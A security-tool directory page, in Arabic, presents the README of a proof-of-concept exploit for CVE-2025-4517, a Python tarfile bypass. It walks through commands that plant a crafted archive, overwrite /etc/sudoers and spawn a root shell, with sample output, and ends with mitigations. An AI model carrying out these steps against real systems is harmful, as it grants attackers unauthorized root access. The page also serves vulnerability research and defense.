Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-4517-POC — نص برمجي لتصعيد الامتيازات لـ CVE-2025-4517 | Kitploit
أدوات/GitHubGitHub/azureadtrent/cve-2025-4517-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالCTFالتعلم والتعليماستغلال الملفات الثنائية
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

نص برمجي لتصعيد الامتيازات لـ CVE-2025-4517

عرض المستودع
9منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2025-4517

ملاحظات

تم كتابة هذا الاستغلال والوصف بواسطة AI. إذا وجدت خطأ أو مشكلة، فيرجى إبلاغي! تم اختبار هذا الاستغلال وتأكيد عمله. شكرًا لك!

نظرة عامة

يستغل هذا الاستغلال CVE-2025-4517، وهي ثغرة حرجة في وحدة tarfile الخاصة بلغة Python تسمح بكتابة ملفات عشوائية من خلال مزيج من اجتياز مسار الروابط الرمزية والتلاعب بالروابط الصلبة. يتجاوز هذا الحماية filter="data" التي تم تقديمها في Python 3.12.

تفاصيل الثغرة

  • معرف CVE: CVE-2025-4517
  • الإصدارات المتأثرة: Python 3.8.0 حتى 3.13.1
  • نقاط CVSS: 9.3 (حرجة)
  • التأثير: كتابة ملفات عشوائية بصلاحيات مرتفعة

الخلفية التقنية

تستغل الثغرة خللاً في كيفية معالجة tarfile.extractall() في Python للتفاعل بين:

  1. الروابط الرمزية - تستخدم لإنشاء اجتياز مسار خارج دليل الاستخراج
  2. الروابط الصلبة - تستخدم للإشارة إلى الملفات عبر مسار الرابط الرمزي المهرب
  3. تجاوز المرشح - يمنع معامل filter="data" عمليات الهروب المباشر للروابط الرمزية، ولكن تقنية الرابط الصلب تتجاوز هذه الحماية

تدفق الهجوم

root@kitploit:~
1. Create deep nested directories (path confusion)
   └─ Uses 247-character directory names repeated 16 levels deep

2. Build symlink chain for traversal
   └─ Creates symlinks that resolve upward through directory tree

3. Escape symlink to target directory (/etc)
   └─ Final symlink points outside extraction boundary

4. Create hardlink pointing through escape symlink
   └─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. Write content to hardlink
   └─ Writing to "sudoers_link" actually writes to /etc/sudoers

المكون الضعيف

النص البرمجي: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# Vulnerable code snippet
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

صلاحيات Sudo:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

تفاصيل النظام

  • إصدار Python: 3.12.3 (ضعيف أمام CVE-2025-4517)

الاستخدام

المتطلبات الأساسية

  • وصول للمستخدم بصلاحيات sudo للنص البرمجي الضعيف
  • صلاحية الكتابة إلى /opt/backup_clients/backups/
  • Python 3 على جهاز الهجوم

التثبيت

root@kitploit:~
# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system

التنفيذ الأساسي

root@kitploit:~
# Run the exploit
./exploit.py

# Or with Python
python3 exploit.py

خطوات يدوية خطوة بخطوة

إذا كنت تفضل تشغيل كل خطوة يدويًا:

root@kitploit:~
# 1. Create the exploit tar
python3 exploit.py --create-only

# 2. Deploy to target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Execute via vulnerable script
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Verify sudoers modification
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Get root
sudo /bin/bash

مثال على المخرجات

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝

[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

تدفق إثبات المفهوم

المرحلة 1: الوصول الأولي

  • الوصول إلى المستخدم

المرحلة 2: تصعيد الصلاحيات (هذا الاستغلال)

  • تحديد صلاحيات sudo على نص استعادة النسخ الاحتياطية
  • التعرف على إصدار Python الضعيف تجاه CVE-2025-4517
  • نشر استغلال tar لتعديل /etc/sudoers
  • الحصول على وصول root

التخفيف

لمطوري Python

  1. ترقية Python: التحديث إلى Python 3.13.2+ أو تطبيق التصحيحات الأمنية
root@kitploit:~
   python3 --version  # Check version
  1. التحقق الإضافي: تنفيذ تحقق صارم على محتويات tar
root@kitploit:~
   # Check for suspicious members before extraction
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("Symlinks/hardlinks not allowed")
  1. تقييد مسارات الاستخراج: التحقق من بقاء جميع الملفات المستخرجة ضمن الحدود
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Path traversal detected")

لمسؤولي النظام

  1. تقييد وصول sudo: تقليل النصوص التي يمكن تشغيلها كـ root
root@kitploit:~
   # Remove or restrict backup script sudo access
   visudo
  1. التحقق من الإدخال: التحقق من أرشيفات tar قبل المعالجة
root@kitploit:~
   # Check tar contents before extraction
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. مراقبة سلامة الملفات: مراقبة الملفات الحرجة مثل /etc/sudoers
root@kitploit:~
   # Setup AIDE or similar IDS
   aide --check
  1. AppArmor/SELinux: تنفيذ ضوابط الوصول الإلزامية

المراجع

معلومات CVE

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - ثغرة ذات صلة
  • تنبيه أمان Python

الأبحاث والكتابات

  • تنبيه أمان Linux
  • أبحاث أمان Google - GHSA-hgqp-3mmf-7h8f

إثباتات المفهوم العامة

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • إثبات مفهوم AnimePrincess420

إخلاء مسؤولية قانوني

يُقدم هذا الاستغلال لأغراض تعليمية فقط وهو مخصص للاستخدام في:

  • اختبارات الاختراق المصرح بها
  • مسابقات Capture The Flag (CTF) مثل HackTheBox
  • البحث الأمني في بيئات خاضعة للرقابة
  • الإفصاح عن الثغرات وتطوير التصحيحات

المؤلف(ون) لا يتحملون أي مسؤولية عن سوء استخدام هذا الرمز.

البحث الأصلي: عدة باحثين أمنيين (انظر المراجع)

الترخيص

رخصة MIT - انظر ملف LICENSE للتفاصيل


آخر تحديث: مارس 2026

تنزيل الأداة